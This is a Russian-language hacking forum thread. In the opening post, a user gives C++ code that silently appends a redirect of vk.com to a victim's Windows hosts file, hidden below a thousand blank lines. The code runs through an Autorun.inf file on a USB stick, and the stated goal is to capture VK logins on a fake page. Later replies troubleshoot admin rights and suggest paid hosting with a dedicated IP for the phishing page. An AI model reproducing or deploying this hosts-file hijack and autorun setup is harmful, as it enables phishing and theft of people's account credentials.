Подмена hosts с флешки

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
Как сделать так, чтобы hosts
подменился автоматически? Скажем
прийти к кому-нибудь с флешкой, а
уйти с паролем Для этого мы будем использовать язык С++.
Возможно кто-то даже не знает с чего
начать. Для этого я расскажу как
написать это на Dev C++.
Я выбрал эту среду, потому-что она
быстрая, легкая и удобная. + весит
13 мегабайт всего Если у кого-то уже установлены Visual Studio , или
борланды всякие, то ничего
страшного Си и в Африке Си. Открываем Dev-C++. Жмем "Файл",
"Создать", "Исходный файл".
Появляется чистый лист. Начинаем
писать КОД:



#include <iostream> //стандартный
поток ввода/вывода.
#include <fstream>//для работы с
файлами
using namespace std;// используем по
умолчанию пространство имен std. int main(){/*это главная функция. Она
у нас ничего не возвращает, но типом
главной функции может быть только
int. void нельзя.*/
freopen("C:/WINDOWS/system32/
drivers/etc/hosts","at",stdout); /* тут мы делаем переадресацию iostream
на fstream с ключом дозаписи.*/
unsigned int a = 0; // создаём
переменную счетчик.
while(a<=1000){ //создаём цикл
a++; //который заполняет файл hosts cout<<"\n"; //тысячью пустых строк
}
cout<<"127.0.0.1 vk.com"; // это
строка переадресации
}


Теперь у нас есть код,
его надо скомпилировать. Жмем
"Выполнить", "Скомпилировать".
Теперь в папке которую мы указали
есть exe файл. Если его запустить тогда ваш файл hosts допишется.
Можете проверить. Сейчас надо
сделать чтобы в тот момент когда вы
вставляете флешку, автоматически
запускалась эта программа. Для этого
переносим получившуюся программу к себе на флешку. Далее создаем на
флешке файл Autorun.inf .
Открываем его блокнотом и пишем
КОД:


[AutoRun]
shellexecute=название_программы
Action=то_что_будет_писаться_до_автозапуска
Icon=иконка
Label=название_флешки.



теперь как мы только в компьютер
где стоит винда вставим флешку,
откроется программа которая
изменит файл hosts. И сразу
закроется. После этого жертва при
попытке зайти ,например в Вконтакт откроет фейковую страницу,куда
введет логин и пароль, после чего эти
две строки попадут к вам.
 

Clay

Новичок
Статус
offline
Регистрация
21.11.2015
Сообщения
2
Репутация
0
Выложить отдельно код без комментариев.
 

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
hosts успешно подменяется,но есть проблема при загрузке страницы с фейком ....она не грузится,в чом проблема незнаю,возможно из-за безплатного хостинга.
 

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
kinvekt написал(а):
Для записи в хост, окна просят права админа. Поговаривают, что в реестре есть путь до этого файла и для изменения пути, окна не просят админа.
нет не нужно прав админа по крайней мере я тестил все збс было , на 1сек вылазит око cmd и все
 

4v3ng3r

Новичок
Статус
offline
Регистрация
25.11.2015
Сообщения
113
Репутация
13
while(a<=1000){ //создаём цикл
a++; //который заполняет файл hosts cout<<"\n"; //тысячью пустых строк
}

А где, собственно, сам процесс ввода в файл? я вижу только инкремент а
 

4v3ng3r

Новичок
Статус
offline
Регистрация
25.11.2015
Сообщения
113
Репутация
13
Если бы это перенаправление само убиралось, через некоторое время, было бы круто.
 

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
Делай,и выложы на форум,интересно)
 

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
kinvekt написал(а):
while(a<=1000){ //создаём цикл
a++; //который заполняет файл hosts cout<<"\n"; //тысячью пустых строк
}

А где, собственно, сам процесс ввода в файл? я вижу только инкремент а
Я в полюсах не селен, но там ведь поток записи открыт, а \n переносит на новую строку
Ет для того чтобы переадресация была в самом низу хостс ,чтобы не было видно.
Проверь пж сам как роботает,потом отпишеш)ок
 

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.

gartos

Новичок
Статус
offline
Регистрация
05.12.2015
Сообщения
2
Репутация
2
Agresor написал(а):
hosts успешно подменяется,но есть проблема при загрузке страницы с фейком ....она не грузится,в чом проблема незнаю,возможно из-за безплатного хостинга.
Скорее всего так оно и есть, тебе нужен платный хостинг с выделенным IP(у бесплатных нет выделенных ip),и этот выделенный IP ты дописываешь в хост.
 

Agresor

Участник
Статус
offline
Регистрация
21.11.2015
Сообщения
65
Репутация
29
Обратите внимание, если Вы хотите провести сделку с данным пользователем, на то, что он заблокирован.
gartos написал(а):
hosts успешно подменяется,но есть проблема при загрузке страницы с фейком ....она не грузится,в чом проблема незнаю,возможно из-за безплатного хостинга.
Скорее всего так оно и есть, тебе нужен платный хостинг с выделенным IP(у бесплатных нет выделенных ip),и этот выделенный IP ты дописываешь в хост.
я так и думал , лень былопокупать для теста